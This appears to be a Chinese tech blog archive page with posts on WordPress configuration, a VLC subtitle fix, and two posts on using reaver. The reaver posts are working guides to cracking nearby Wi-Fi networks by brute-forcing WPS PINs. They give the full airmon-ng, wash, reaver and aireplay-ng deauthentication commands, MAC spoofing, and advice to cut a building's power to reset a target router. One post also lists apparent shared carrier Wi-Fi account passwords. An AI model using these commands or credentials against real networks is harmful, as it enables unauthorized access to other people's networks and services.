January 2013

wordpress 切换语言/语言包

  • Published in Wordpress
  • January 22, 2013

 

切换语言/语言包

若您是初次安装 WordPress,请点击这里

下面步骤指导您将现有的英文 WordPress 站点切换为中文。

  1. 通过 FTP、SSH 等方式打开并编辑站点根目录下的 wp-config.php 文件。
  2. 查找 define('WPLANG', ''); 一行,在第二个参数处填入 zh_CN,变成 define('WPLANG', 'zh_CN'); 并保存文件。
  3. 进入站点控制板(dashboard),看到更新提示后进行升级即可。WordPress 会自动从官方网站下载中文语言包并安装。

若您当前正在使用非官方的中文语言包,请您注意:非官方语言包通常会替换 WordPress 程序本身的升级部分,使 WordPress 通过第三方服务器升级,这可能有一定风险。若您不愿使用官方版本的语言包,请务必选择您信任的语言包。至于使用何种中文支持,完全由您自主选择。WordPress 并不会禁止您使用非官方语言包。当然,我们会认真处理您的批评和建议,欢迎联系我们

如下是卸载非官方语言包、安装官方中文版本的通用步骤。请注意,如果您没有使用非官方版本的语言包,请不要进行下列操作。我们在这里假设您使用的非官方中文版本没有改动您的数据库:

  1. 备份数据库。
  2. 备份所有文件,并删除博客根目录下除 wp-config.php 之外的所有文件。请注意保留 wp-config.php
  3. 从 cn.wordpress.org 下载最新官方中文版本。解压缩并上传至站点根目录。
  4. (选做)比对 wp-config-sample.php 和留下的 wp-config.php:若 wp-config-sample.php 有新增的内容,请复制并按照说明填写;若留下的 wp-config.php 比 wp-config-sample.php 中的设置项还要多,请删除那些多余的项目。

完成这些步骤,您就在使用官方版本了。我们对您的支持表示感谢。任何意见、建议?请查看“联系”页面

Read more...

reaver 命令

  • Published in reaver
  • January 20, 2013

 

PIN码

PJ简单解释:

    PIN码分前4和后4,先破前4只有最多一万个组合,破后4中的前3只有一千个组

合,一共就是一万一千个密码组合。 10的4次方+10的3次方=11000个密码组合。

    当reaver确定前4位PIN密码后,其任务进度数值将直接跳跃至90.9%以上,也就是

说只剩余一千个密码组合了。总共一万一千个密码!

学习过程

1.在虚拟机找到点击打开。如果电脑装有多个无线网卡,请先发指令

ifconfig -a   确认你用哪一个网卡WLAN0或是WLAN1

 

(下面的指令都是以单一网卡WLAN0为例)

2.出现root Shell窗口。敲入第一条命令“ifconfig wlan0 up” 加载

usb网卡。

 

接下来“airmon-ng start wlan0” 监听模式已激活到了

mon0。

如果出现网卡没有正确加载,8187驱动RF-kill的参考后记1解决问题。

3.第二条命令“airodump-ng mon0” 查看周边路由

/AP的信息。

记录下你要学习的路由MAC地址。提供几个查看可以使用PIN码学习路由的方法。

特别提示:只有AP开启了WPS、QSS功能,才可以用PIN法学习PSK密码!如何查看

AP是否开了WPS、QSS呢提供几个小方法?

a) reaver1.3下使用使用命令walsh -imon0-C 查看针对xiaopangOS3.2版本

b) reaver1.4下用新的指令:WASH -i mon0 -C  C是大写在wps locked一项中有显示的。

c) WIN7下,用通常的方式连接AP,如果在提示输入密码框下面,出现“通过按路由器

按钮也可以连接”,就确认此AP开了WPS、QSS。

d) 在螃蟹软件中——可用网络——模式下带N,G的这个不是很准

最准确的是下面这个选项
点击PIN输入配置,选择接入点,哈哈出来了吧,这里面都是可以学习的目标。
需要注意的是,查看后面有的是不支持pin码连接的,这样的就别弄了,后果你知道。

1. 重新开启一个root Shell窗口,第三条命令“reaver -i mon0 -b MAC -a -S -vv” 抓PIN
码。注意,MAC中冒号不可省略,MAC地址的字母大小写均可,-S是大写字母, -vv
是两个V不是W!
-i 监听后接口名称
-b 目标mac地址

-a 自动检测目标AP最佳配置
-S 使用最小的DH key(可以提高PJ速度)
-vv 显示更多的非严重警告
-d 即delay每穷举一次的闲置时间 预设为1秒
-t 即timeout每次穷举等待反馈的最长时间
-c指定频道可以方便找到信号,如-c1 指定1频道,大家查看自己的目标频道做相应修改 (非TP-LINK路由推荐–d9 –t9参数防止路由僵死
reaver -i mon0 -b MAC -a -S –d9 –t9 -vv)
小结-学习时应因状况调整参数(-c后面都已目标频道为1作为例子)
目标信号非常好:  reaver  -i  mon0  -b MAC  -a  -S  -vv  -d0  -c 1
目标信号普通:  reaver  -i  mon0  -b MAC  -a  -S  -vv  -d2  -t .5  -c 1
目标信号一般:  reaver  -i  mon0  -b MAC  -a  -S  -vv  -d5  -c 1

学习开始了,然后就是漫长的等待。

如果信号好的话2-4小时内进度走到100%你就会有惊喜发现。

PIN破密对信号要求极为严格,如果信号稍差,可能导致破密进度变慢或者路由死锁等(重
复同一个PIN码 或 timeout)。AP关闭了WPS、或者没有QSS滴,会出现
WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: XXXX)
5.如果出现超长的WPA PSK可以使用第四条命令“reaver –i mon0 –b MAC –p WPA PSK”
MAC为目标的mac地址,WPA PSK为获取到的超长密码。作用是将指定的pin码获取
wpa密码psk。
6.常用命令截图:
7.不是所有的路由都支持pin学习。AP关闭了WPS、或者没有QSS滴,会出现
WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: XXXX)  学习过程中也可随时随地按
Ctrl+C终止PJ,重复同一个PIN码 或 timeout可终止,reaver
会自动保存进度。保存进度后重复第2-4项内容,先看看AP信号强弱或是否关机,继续
学习,则重复命令reaver -i mon0 -b MAC -vv这条指令下达后,会让你选y或n,选y后
就继续了。当reaver确定前4位PIN密码后,其工作完成任务进度数值将直接跳跃至90.9%
以上,也就是说只剩余一千个密码组合了(总共一万一千个密码)。这个时候离成功就差
一步之遥了,呵呵hold住哦!!!
小技巧:只要Root Shell窗口不关闭,按方向键的上下会出现你输入过的命令方便调用。 8.虚拟机中快照的保存方法
找到这两个图标,第一个是保存快照。第二个图标是加载上一次的快照。
快照的作用:类似迅雷的断点续传,可以保存上次学习的进度,防止目标pin僵死,无法
继续前功尽弃,这是光盘启动、u盘启动、硬盘启动都无法避免的。而虚拟机则可为自己
上一份保险。

载入快照后如果无法继续,可以尝试先卸载掉usb网卡,然后重新加载。然后在开启窗口
继续上次的学习。学习过程中也可随时随地按Ctrl+C终止PJ,重复同一个PIN码 或
timeou t可终止,reaver会自动保存进度。
reaver -i mon0 -b MAC -vv这条指令下达后,会让你选y或n,选y后就继续了。
9.光盘启动、u盘/硬盘启动保存学习进度的方法
reaver1.3的保存路径:打开桌面最后边一个图标xfec 定位到/etc/reaver下,有一个wpc
后缀的文件,名字是你学习的目标的mac地址,复制到你的U盘,路径是/mnt/sdb1(一
般是这个,自己找找,要是没有东西就右键mount),以后重启到xiaopanOS,把这文件
复制到原来的路径,再试试,可以载入进度了!o(∩_∩)o 哈哈
reaver1.4的保存路径:保存目录:/usr/local/etc/reaver
如果xfe文件管理器未获得ROOT权限。请先运行root shell后输入xfe即可获得root权
限。保存方法同上。下次重启动后,再手工复制到/etc/reaver/ 目录下即可
MAC地址.wpc 其实是个文本文件,格式与破密用字典酷似,其第一行和第二行,分别是
4位数和3位数的指示位置数(+4)。如果进度到99.9%后,AP死机,可打开它,总共1000
个3位数,找出剩余的十几个PIN码,用QSS、WPS客户端软件,手动测试、破密。
如果是跑了99.99%死机,  意味吗?  你懂的吧? 最后一个PIN就是。
以下这个命令是指定PIN码,获得WPA 密码PSK
reaver -i mon0 -b MAC -p PIN8位数
如果上述措施不后,仍不见PSK密码,可能因软件原因,漏码了!需要重新跑后三位数!
(前四位正确的话)reaver -i mon0 -b MAC -p PIN前4位数

编后语:本文后期引用了论坛的部分作者的截图和文字,在此表示对原作者的感谢。希
望不要引起版权纠纷,O(∩_∩)O哈哈~。希望小鸟们能从本文中找到合适方法与技巧。
如果看过本文后你还无法领悟,那只能说明我这个菜鸟老师水平太低了,请您移步另请
高教吧,本文不接受任何中差评!^_^

1.遇见8187驱动RF-kill的  xiaopanos
对8187的网卡支持不是太好,有时会出现驱动加载不了,就是输入第一条命令
后出现operation not possible due to RF-kill,我想大部分人也遇到过把。新版本0.34使用
命令rfkill unblock all解决这个问题,容易出现问题的是0.3.2版本的。
第一种尝试的解决办法:这时候就断开USB,等上大概10几秒把再插上,连续插拔几次
总有一次会好。
第二种尝试的解决办法:先运行一下奶瓶扫描一会,然后退出奶瓶。虚拟机USB图标(USB
图标上的小点)由深绿变成浅绿色,变浅绿就输入
ifconfig wlan0 up
airmon-ng start wlan0
第三种解决办法:出现错误后的解决
a.Root Shell窗口敲击命令“ifconfig -a”,查看最后一项是否出现wlan0,这个就是你的无
线网卡。如果没有出现拔插网卡,直到测试出现wlan0。
b.接下来输入第二条命令“ifconfig wlan0 up”,接下来第三条“airmon-ng start wlan0”载入
网卡。如果出现operation not possible due to RF-kill,不要惊慌继续输入命令“airmon-ng start
wlan0”多输入几次,然后拔出USB网卡,再插入,重复第2步的命令。一般情况下就会
正常载入了括号内只会显示monitor mode enabled on mon0,不会出现operation not possible
due to RF-kill,如果不行以上步骤再次重复,直到解决。
c.输入“airodump-ng mon0”(如果括号内显示的是monitor mode enabled on mon1,相应的
命令就改为airodump-ng mon1,其他的类似),测试一下,要是可以正常扫描,说明8187L加载成功,就可以reaver了,你懂的!
d.小技巧:只要Root Shell窗口不关闭,按方向键的上下会出现你输入过的命令方便调用。

2. reaver
破密进度表 全能保存办法
用u盘或者硬盘启动xiaopanos可以保存进度,重启不会丢失,方法如下:
打开桌面最后边一个图标xfec 定位到/etc/reaver下,有一个wpc后缀的文件,名字是你
PJ的mac地址,复制到你的U盘,路径是/mnt/sdb1(一般是这个,自己找找要是没有东
西就右键mount),以后重启到xiaopanOS,把这文件复制到原来的路径,再试试,可以
载入进度了!
reaver的进度表文件保存在/etc/reaver/MAC地址.wpc  用资源管理器,手工将以MAC地
址命名的后辍为.wpc的文件拷贝到U盘或硬盘中,下次重启动后,再手工复制到
/etc/reaver/ 目录下即可。
MAC地址.wpc 其实是个文本文件,格式与破密用字典酷似,如果进度到99.9%后,AP
死机,可打开它,总共1000个3位数,找出剩余的十几个PIN码,用QSS、WPS客户
端软件,手动测试、破密。
3. PIN
破密降低timeout、同码重复的非常给力措施之一
首先是PIN难易与MAC无关的!主要跟路由所在频道的 信道拥挤程度相关!(同一频道
中有几个路由,特别是强信号的AP会相互干扰,造成 timeout)
一般AP默认频道cn 6,部分为1 cn
解决“同频干扰”、“邻频干扰”的原则:设法 调虎离山(这个我想大家都懂的)。
将能调动的AP远离破密AP至少3个CN以上
5.如果90.9%进程后死机或停机,可以使用-p参数
请记下PIN前四位数,用指令:reaver -i mon0 -bMAC -a -vv -p XXXX(PIN前四位数)
会从指定PIN段起破密。
6.只有AP开启了WPS、QSS功能,才可以用PIN法破PSK密码!如何查看AP是否开了WPS、QSS呢?
reaver1.3下 使用airodump-ng -mon0 MB一栏下,出现 54e. 是开11N的WPS的(不是
54e是有小数点的54e.)
reaver1.4除可使用上述命令外也可以用新的指令:WASH -imon0-C在wps locked一项中
有显示的。
WIN7下,用通常的方式连接AP,如果在提示输入密码框下面,出现“通过按路由器按
钮也可以连接”,就确认此AP开了WPS、QSS。PIN破密对信号要求极为严格,如果信
号稍差,可能导致破密进度变慢或者路由死锁等(重复同一个PIN码 或timeout)。AP
关闭了WPS、或者没有QSS滴,会出现
WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: XXXX)
7. 通过mac地址查找路由品牌 有时候
PJ时SSID通常被改成其他的 不好判断 可以打开下面这个网址:

http://standards.ieee.org/develop/regauth/oui/public.html
输入你的ap mac的前三位,接下来就不用说了吧?PJ 至少也要知道对方用的是啥路由
总结发现这个方法最快 也最好用 对PJ有一定的帮助
8. 很简单地扫描支持pin解的路由
在xiaopanos下打开一个root shell 如果是1.3或之前的的就键入walsh -i mon0 -C(一般是
这个,不是的话改成你的网卡,注意c要大写)
1.4要把walsh改成wash 片刻就罗列出周围支持wps的路由,在wps locked一项如果是
N的话就可以pinPJ
9. 在
xiaopanOS 中,打开的窗口最小化后,就找不到了,因为不像windows有下方的任
务栏,此时按Alt+Tab键,会出现一个弹出菜单,选择rootshell,原来最小化的窗口就会
出现了。
10. PIN僵死锁定后,无奈的方法。也可以攻击隐藏ssid的路由(不推荐使用)aireplay-ng-0 1000 -a SSID
的MAC -c 合法客户端的MAC 网卡端口 就是让客户端断开连接1000次
11. 【公共
wifi密码】
中国移动:卡号:15821275836 密码:159258;卡号:15800449592 密码:159258;卡
号:15800449954 密码:159258;卡号:15800449940 密码:159258。中国电信:但凡
你的手机能搜到电信的chinanet的热点覆盖,全国公免账号:07953591377密码3591377。
有福同享!
12. 利用虚假连接调整天线,快速穷举pin码的方法
首先利用8187管理软件来精确调整天线的位置。(因为8187界面非常直观,友好,可以
看到当前连接ap源的信号强度和接收品质的动态条)把信号先调得接收强度,接收品质
为最优秀为pj来打下扎实的基础。
最笨的方法就是把要pj的信号连接上。那你会问了能连接上就不用破了。是兄弟们没
有反应过来,呵呵,听我慢慢说:你可以虚假的连接啊。比如:要破这个1234p这个ssid
的信号。双击这个信号后会弹出输入密码对话框,你可以按10个1嘛。下面也一样输入
10个1 。这样就会虚假连接。能在8187管理界面上看到信号接收强度和接收品质的动
态图。虽然上不去网,但是完全可以根据这两项把天线调整到最佳的接收状态,使之把
信号校对到最优秀状态。把信号调整好后,你说PJ顺利不啊?还会出timeout这种丢包
情况吗?会相当顺利的。呵呵呵呵。
如下图:

配合pj要有好的定向天线,我是硬件版块的兄弟。我们经常自己diy大增益的天线。使
我们的信号强上更强,这叫好马配好鞍,使pj无往而不利,综上所术:这就是我要分享
的小经验。我最慢也没有超过30分钟 的啊。一般全是15分钟就搞定了。。新手兄弟:
明白了吧 。
13. pojie隐藏SSID前提:一定要有合法的客户端连上
1.在BT3/4/5下先打开一个shell,输入airodump-ng 网卡端口 2.打开另一个shell,输入aireplay-ng-0 10 -a AP的MAC -c 合法客户端的MAC 网卡端口,
可能这个命令由于频道不对会出错,这时就要多重输几次(重输技巧:只要按一下向上键就
可以了,如果不行,就是不是合法客户端,要再试其它的客户端),直到提示成功为止。
3.然后就可以在上个shell,看到显示出来的SSID图是借用论坛的XD的,希望是不会介意

连接隐藏SSID:

输入SSID选好网络身份验证加密方式及pojie出来的密码,点上即使此网络未广播也进行
连接,然后确定就看到右下角小电脑摇起来了吧!如果连不了,可能是因为这个信号太弱和
有太强的信号影响,这时就要把可用网络里的AP列表全部删除,只留下那个刚新增的AP就可以了.如果还是连不上,那就是因为这个信号太弱,windows认为它没有连接的价值,又
或是AP还设置了MAC、IP过滤。
14.在xiaopangOS下修改usb网卡mac地址的方法
macchanger -m 00:16:6f:ab:25:f9 wlan0
15. PIN
破密正常运行中,信号质量也很好的情况下,突然出现出现同码循环和大量
timeout,可能是如下原因造成的(排除关机状态)。
reaver只支持11N的PIN破密,11n先验证前4位码,11g也有PIN功能,是全码验证。
现在多数AP的无线模式是混和11bgn,当有11g设备接入时,AP自动从11N降至11g,
此时,reaver会出现同码循环重复timeout! 甚至会出现WARNING: Failed to associate with
XX:XX:XX:XX:XX:XX  (ESSID: XXXX)实证中,在排除同频干扰因素后,通过扫描无线
网络,发现路由器,确实从54e.模式降为54.模式了。有人把此种现象称为临时性WPS、
PIN功能自锁从收集情况分析,目前破密的主要是TP-LINK的路由器!
解决办法:
等待这个11g设备退出无线接入,断电重启,AP自动从11g恢复至11N模式。如果遇
到上很长很长时间不重启的顽固AP,我想最有效的办法就是我们动手帮它重启,找到附
近(路由器一定离我们不远)楼内单位总电源开关!下步该知道怎么办了吧————终
极秘籍:拉开关断电,再推上开关,回家继续PIN!

Read more...

reaver 安装 穷举PIN

  • Published in reaver
  • January 20, 2013

Reaver目前只支持以下网卡:

 

The following wireless drivers have been tested or reported to work successfully with Reaver:

  • ath9k
  • rtl8187
  • carl19170
  • ipw2000
  • rt2800pci
  • rt73usb

 



安装 bt5 到硬盘

下载bt5 cd  - 运行  进入界面 选择安装

 

安装reaver

输入:
cd Desktop
然后输入:
svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps-read-only
依次输入:
cd reaver-wps-read-only
cd src
./configure
make
make install

 

另外如果安装过程中出现bash: ./configure: Permission denied,不要着急这是linux下常见问题
运行
chmod +x configure,然后再运行./configure

sh ./configure

 

开启监听模式,并搜索支持wps的ap,
支好天线,准备开始干活。

 

输入:
airmon-ng start wlan0

输入:
wash -i mon0 -C (注意大小写)
查看支持WPS的AP
长时间无反应按Ctrl+C,结束进程

9.开始穷举:

输入:
reaver -i mon0 -b MAC地址 -a -S -vv (注意大小写)
建议增加 -d 3 -t 3参数,防止路由WPS被跑死,导致穷举中止。
reaver -i mon0 -b MAC地址 -S -vv -d 3 -t 3


好了,虚拟机最小化,该玩就玩该干嘛干嘛去吧,慢慢等着穷举结束。

最后说下保存进度方法:

1)在穷举过程中随时可按Ctrl+C结束进程;

2)无论何时,只要再跑之前跑过的MAC地址,进程都是连续的无需从0%重新开始,这是硬盘版的好处。根本用不着快照功能

3)小技巧:下次启动BT5按下光标控制键(方向键)“上”键然后回车,就可以看到上次输入的指令,无需再输入,选中上次没跑完的指令按下回车继续跑。(需上次正常关机,X视图使用右上角关机按钮关机或在终端输入shutdown -q 0关机)

 

Read more...

VLC字幕不显示以及乱码白框方框问题解决办法

  • Published in Windows 7
  • January 15, 2013

 

VLC media player 是一个开源的媒体播放器、编码器以及流服务器。
更重要的是。VLC 是我最喜欢的播放器,没有之一。
 
这个方法主要针对VLC 1.1.10 for Windows 其他版本以及Linux、Mac版本仅供参考
 
2011.07.24更新:
官方论坛上有人进行了反馈并给出了其他可用的类型。
详情请见本文末尾
 
对于造成这个BUG的原因,本人猜测应该是播放器调用字幕字体时,不支持中文名字的字体。白框是因为字体本身没有中文,比如Times New Roma。
 
2011.07.06更新:
据反馈,VLC1.1.20版本同样存在这个问题  但解决方法不变
关于Windows XP系统的问题有更新在最后
 
下面先插播广告:没用VLC之前,我这老爷机,从来看不了1080i和1080p的视频;自从用了VLC,这老爷机腰也不酸了,背也不疼了,看片也有劲了。【这似乎跟本人只有个集显有关,传言VLC是硬解苦手】
 
继续正文:
前几天VLC自己提示要更新,我也没多想,果断点了。更新到1.1.10之后好几天没看电影。今天有人借我电脑,用VLC死活不显示字幕。。。一看,好吧。。。今天又有的折腾了。
外事不决问Google啊,不过似乎是因为VLC刚更新没多久,似乎没人和我遇到相同的问题。不过毕竟之前折腾过,当年第一次用VLC的时候这播放器果断不给我面子,毫不犹豫的显示一大堆口口口给我看。。。
 
当年的解决办法貌似是更换了字体和编码,把编码从自动改成了GB什么什么的,字体改成了随便一个什么中文字体【貌似是微软雅黑】,然后问题就解决了。
 
但这次更新之后,显然不是这样的,配置什么的没有改,但是中文字幕死活不出来。。。于是,没办法。。。继续折腾吧。
一开始以为是编码的问题,把VLC系统默认的GB18030换成了UTF-8,无效,把字幕文件重新保存为UTF-8编码,然后再来,无效,然后在里面挑UTF-16和各种GB编码,继续无效。。。
 
好吧,我服了。。。
 
在查1.1.10版本更新的时候,发现有如下描述:选择中文字体,解决字幕显示不正确的问题。
好吧,传言中的字幕问题已经解决了?但是为什么我的没好呢?!
注意到句中的关键字:中文字体。
好吧,挨个试,华文宋体,黑体,各种。。。
在测试过程中发现,只要是纯英文字体,字幕中的中文果断变口口口,如果是中文字体,果断毛都不显示一根。。。
关键是TMD每次换了设置必须重启VLC,否则设置根本不会生效。。。
http://blog.sina.com.cn/s/blog_47ecc3660100vtnc.html
不过,这至少说明了这个问题是字体的问题,木有找到VLC支持的字体啊。
 
喵了个咪的,最后发现一个DFKai-SB字体竟然是好使的。。。
那个热泪盈眶啊,那个各种悲伤啊。。。伤不起啊。。。这么一个SB名字的字体。。。你妹啊。。。谁想出来的啊。。。
换完这个字体之后,重启VLC,好使了。。。中文字幕出来了。。。。
 
OK。。。over。。。。
 
2011.07.06更新:
 
经过反馈 WindowsXP似乎没有DFKai-SB字体
同时 这个BUG有人给出了另一个解决方法 
 
也可能是VLC的font cache的bug, 试试disable font cache:
 
如图
 
 
2011.07.24更新
以下字体被alboy在这里测试有效,建议没有以下字体的同学下载其中一个字体安装。 DFKai-SB, Microsoft JhengHei, MingLiU, MingLiU-ExtB, MingLiU_HKSCS, MingLiU_HKSCS-ExtB, PMingLiU, PMingLiU-ExtB
Read more...

wordpress Changing The Site URL

  • Published in Wordpress
  • January 14, 2013

 

Changing The Site URL

  • The "Home" setting is the address you want people to type in their browser to reach your WordPress blog.
  • The "Site URL" setting is the address where your WordPress core files reside.

Note: Both settings should include the http:// part and should not have a slash "/" at the end.

Every once in a while, somebody finds a need to manually change (or fix) these settings. Usually this happens when they change one or both and discover that their site no longer works properly. This can leave the user with no easily discoverable way to correct the problem. This article tells you how to change these settings directly.

Additional information is presented here for the case where you are moving WordPress from one site to another, as this will also require changing the site URL. You should not attempt to use this additional information if you're only attempting to correct a "broken" site.

Alert! These directions are for single installs of WordPress only. If you are using WordPress MultiSite, you will need to manually edit your database.

Contents

[hide]

 

Changing the Site URL

There are four easy methods to change the Site URL manually. Any of these methods will work and perform much the same function.

Edit wp-config.php

It is possible to set the site URL manually in the wp-config.php file.

Add these two lines to your wp-config.php, where "example.com" is the correct location of your site.

define('WP_HOME','http://example.com');
define('WP_SITEURL','http://example.com');

This is not necessarily the best fix, it's just hardcoding the values into the site itself. You won't be able to edit them on the General settings page anymore when using this method.

Edit functions.php

If you have access to the site via FTP, then this method will help you quickly get a site back up and running, if you changed those values incorrectly.

1. FTP to the site, and get a copy of the active theme's functions.php file. You're going to edit it in a simple text editor (like notepad) and upload it back to the site.

2. Add these two lines to the file, immediately after the initial "<?php" line.

update_option('siteurl','http://example.com/blog');
update_option('home','http://example.com/blog');

Use your own URL instead of example.com, obviously.

3. Upload the file back to your site, in the same location. FileZilla offers a handy "edit file" function to do all of the above rapidly; if you can use that, do so.

4. Load the login or admin page a couple of times. The site should come back up.

5. Repeat the above steps, but remove those lines. IMPORTANT: Do NOT leave those lines in there. Remove them immediately after the site is up and running again.

If there is no functions.php file in the theme:

Create a new text file called "functions.php".

Edit it with notepad, and add this text to it, using your own URL instead of example.com:

<?php
update_option('siteurl','http://example.com/blog');
update_option('home','http://example.com/blog');
?>

Upload that to your theme directory, then proceed as stated above. Remove the file afterwards.

>>>

Here are some additional details that step you through transfering a LAN-based wordpress site into an externally accessible site as well enabling editing the wordpress site from inside the LAN.

Two important keys are router/firewall modifications and the "wait 10+ minutes" after making the changes at the end.

-using ssh to log into your server (nano is a server preinstalled text editor)
-$ nano /var/www/books/wp-content/themes/twentyeleven/functions.php
-add lines just after >php?

    update_option('siteurl','http://your.site.url:port/yourblog');
    update_option('home','http://your.site.url:port/yourblog');

-refresh your web browser using your external site url

   http://your.site.url:port/yourblog

-$ nano /var/www/books/wp-content/themes/twentyeleven/functions.php
-remove those lines you just added (or comment them out)
-access your router (these steps are for pfSense, other routers should have similar settings to look for/watch out for)
-add to firewall/nat table a line like this

        wan/tcp/port/LAN.server.IP/80

-add to firewall/rules table a line like this

        tcp/*/port/LAN.server.IP/port/*

-uncheck the box at System/advanced/network address translation/Disable NAT Reflection

       "Disables the automatic creation of NAT redirect rules for access to your public IP addresses from within your internal networks. Note: Reflection only works on port forward type items and does not work for large ranges > 500 ports."

Then go do something for ten minutes and when you get back see if the external urlhttp://your.site.url:port/yourblog from a LAN browser brings the page up correctly.

Relocate method

WordPress supports an automatic relocation method intended to be a quick assist to getting a site working when relocating a site from one server to another.

Steps

1. Edit the wp-config.php file.

2. After the "define" statements (just before the comment line that says "That's all, stop editing!"), insert a new line, and type: define('RELOCATE',true);

3. Save your wp-config.php file.

4. Open a web browser and manually point it to wp-login.php on the new server. For example, if your new site is at http://www.mynewdomain.com, then type http://www.mynewdomain.com/wp-login.php into your browser's address bar.

5. Login as per normal.

6. Look in your web browser's address bar to verify that you have, indeed, logged in to the correct server. If this is the case, then in the Admin back-end, navigate to Settings > General and verify that both the address settings are correct. Remember to Save Changes.

7. Once this has been fixed, edit wp-config.php and either completely remove the line that you added (delete the whole line), comment it out (with //) or change the true value to false if you think it's likely you will be relocating again.

Note: When the RELOCATE flag is set to true, the Site URL will be automatically updated to whatever path you are using to access the login screen. This will get the admin section up and running on the new URL, but it will not correct any other part of the setup. Those you will still need to alter manually.

Changing the URL directly in the database

If you know how to access phpMyAdmin on your host, then you can edit these values directly to get you up and running again.

  1. Backup your database and save the copy off-site.
  2. Login to phpMyAdmin.
  3. Click the link to your Databases.
  4. A list of your databases will appear. Choose the one that is your WordPress database.
  5. All the tables in your database will appear on the screen.
  6. From the list, look for wp_optionsNote: The table prefix of wp_ may be different if you changed it when installing.
  7. Click on the small icon indicated as Browse.
  8. A screen will open with a list of the fields within the wp_options table.
  9. Under the field option_name, scroll down and look for siteurl.
  10. Click the Edit Field icon which usually is found at the far left at the beginning of the row.
  11. The Edit Field window will appear.
  12. In the input box for option_value, carefully change the URL information to the new address.
  13. Verify this is correct and click Go to save the information.
  14. You should be returned to your wp_options table.
  15. Look for the home field in the table and click Edit FieldNote There are several pages of tables insidewp_options. Look for the > symbol to page through them.
  16. In the input box for option_value, carefully change the URL information to the new address.
  17. Verify this is correct and click Go to save the information.

Moving Sites

When moving sites from one location to another, it is sometimes necessary to manually modify data in the database to make the new site URL information to be recognized properly. Many tools exist to assist with this, and those should generally be used instead of manual modifications.

This is presented here as information only. This data may not be complete or accurate.

You should read the Moving WordPress article first, if attempting to move WordPress from one system to another.

Altering Table Prefixes

Like many WordPress administrators, you may be running several WordPress installations off of one database using various wp-config.php hacks. Many of these hacks involve dynamically setting table prefixes, and if you do end up altering your table prefix, you must update several entries within the prefix_usermeta table as well.

As in the above section, remember that SQL changes are permanent and so you should back up your database first:

If you are changing table prefixes for a site, then remember to alter the table prefix in the usermeta tables as well. This will allow the new site to properly recognize user permissions from the old site.

UPDATE `newprefix_usermeta` SET `meta_key` = REPLACE( `meta_key` , 'oldprefix_', 'newprefix_' );

Changing Template Files

In your WordPress Theme, open each template file and search for any manually entered references to your old domain name and replace it with the new one. Look for specific hand coded links you may have entered on the various template files such as the sidebar.php and footer.php.

WordPress uses a template tag called bloginfo() to automatically generate your site address from information entered in your Administration > Settings > General panel. The tag in your template files will not have to be modified.

Changing the Config file

You will need to update your WordPress configuration file if your database has moved or changed in certain ways.

  1. You will only need to modify the config file if:
    1. your database has moved to another server and is not running on your localhost
    2. you have renamed your database
    3. you have changed the database user name
  2. "'Make a backup copy of your wp-config.php file.'"
  3. Open the wp-config.php file in a text editor.
  4. Review its contents. In particular, you are looking for the database host entry.
  5. Save the file.

At this point, your WordPress blog should be working.

Verify the Profile

  1. In your Administration Panels go to Settings > General . Here you will verify that the changes you made inChanging the URL above, are correct.
  2. Verify that the reference in your WordPress URL contains the new address.
  3. Verify that the reference in your "Blog URL" contains the new address.
  4. If you have made changes, click Save Changes.

Changing the .htaccess file

After changing the information in your Administration > Settings > General panel, you will need to update your.htaccess file if you are using Permalinks or any rewrites or redirects.

  1. Make a backup copy of your .htaccess file. This is not a recommendation but a requirement.
  2. Open the .htaccess file in a text editor.
  3. Review its contents, looking for any custom rewrites or redirects you entered. Copy these to another text file for safe keeping.
  4. Close the file.
  5. Follow the instructions on the Permalinks SubPanel for updating your Permalinks to the .htaccess file.
  6. Open the new .htaccess file and check to see if your custom rewrites and redirects are still there. If not, copy them from the saved file and paste them into the new .htaccess file.
  7. Make any changes necessary in those custom rewrites and redirects to reflect the new site address.
  8. Save the file.
  9. Test those redirects to ensure they are working.

If you make a mistake, you can Restoring Your Database From Backup from your backup and try this again. So make sure it is right the first time.

Additional items of note

There are other things you may wish to change in order to correct URLs when moving sites.

  1. Images link: image links are stored in "post_content" in the wp_posts table. You can use the similar code above to update image links.
  2. wp_options: Besides the "siteurl" and "home" items mentioned above, there are other option_value which also need revision, such as "upload path", and some plugin items (depends on what you've installed, such as widgets, stats, DMSGuestbook, sitemap, etc.)
  3. Do a FULL database search for any items left. MAKE SURE you know what you are changing. and go through each item for possible improper replacement.
  4. If you a running a network / have multiple sites, you will need to replace instances of the URL in the database. They are stored in many tables, including each one of the sites (blogs). Be careful in what you replace and be sure you know the meaning of the field before changing it. See the Important GUID note below for an example of what not to change.

How To: Move Your WordPress Blog to a New Domain - Using the Export/Import feature to move a blog to a new domain

Important GUID Note

When doing the above and changing the URLs directly in the database, you will come across instances of the URL being located in the "guid" column in the wp_posts tables.

It is critical that you do NOT change the contents of this field.

The term "GUID" stands for "Globally Unique Identifier". It is a field that is intended to hold an identifier for the post which a) is unique across the whole of space and time and b) never, ever changes. The GUID field is primarily used to create the WordPress feeds.

When a feed-reader is reading feeds, it uses the contents of the GUID field to know whether or not it has displayed a particular item before. It does this in one of various ways, but the most common method is simply to store a list of GUID's that it has already displayed and "marked as read" or similar.

Thus, changing the GUID will mean that many feedreaders will suddenly display your content in the user's reader again as if it was new content, possibly annoying your users.

In order for the GUID field to be "globally" unique, it is an accepted convention that the URL or some representation of the URL is used. Thus, if you own example.com, then you're the only one using example.com and thus it's unique to you and your site. This is why WordPress uses the permalink, or some form thereof, for the GUID.

However, the second part of that is that the GUID must never change. Even if you shift domains around, the post is still the same post, even in a new location. Feed readers being shifted to your new feeds when you change URLs should still know that they've read some of your posts before, and thus the GUID must remain unchanged.

Never, ever, change the contents of the GUID column, under any circumstances.

One exception is attachment media: Attachment media locations are stored as a URL in the GUID. If the default uploads folder needs to be changed to a different location, then the media URL will need to be changed in the post_content and guid columns of the posts table. For example, if the default uploads folder is changing from wp-content/uploads to images:

UPDATE wp_posts SET post_content = REPLACE(post_content,'www.domain.com/wp-content/uploads','www.domain.com/images');
UPDATE wp_posts SET guid = REPLACE(guid,'www.domain.com/wp-content/uploads','www.domain.com/images');

 

Read more...

[Plugin: NextGEN Gallery] show Title alt of image instead

  • Published in Wordpress
  • January 14, 2013

 

view/gallery.php.

 

<!-- Thumbnails -->
<?php foreach ( $images as $image ) : ?>
 
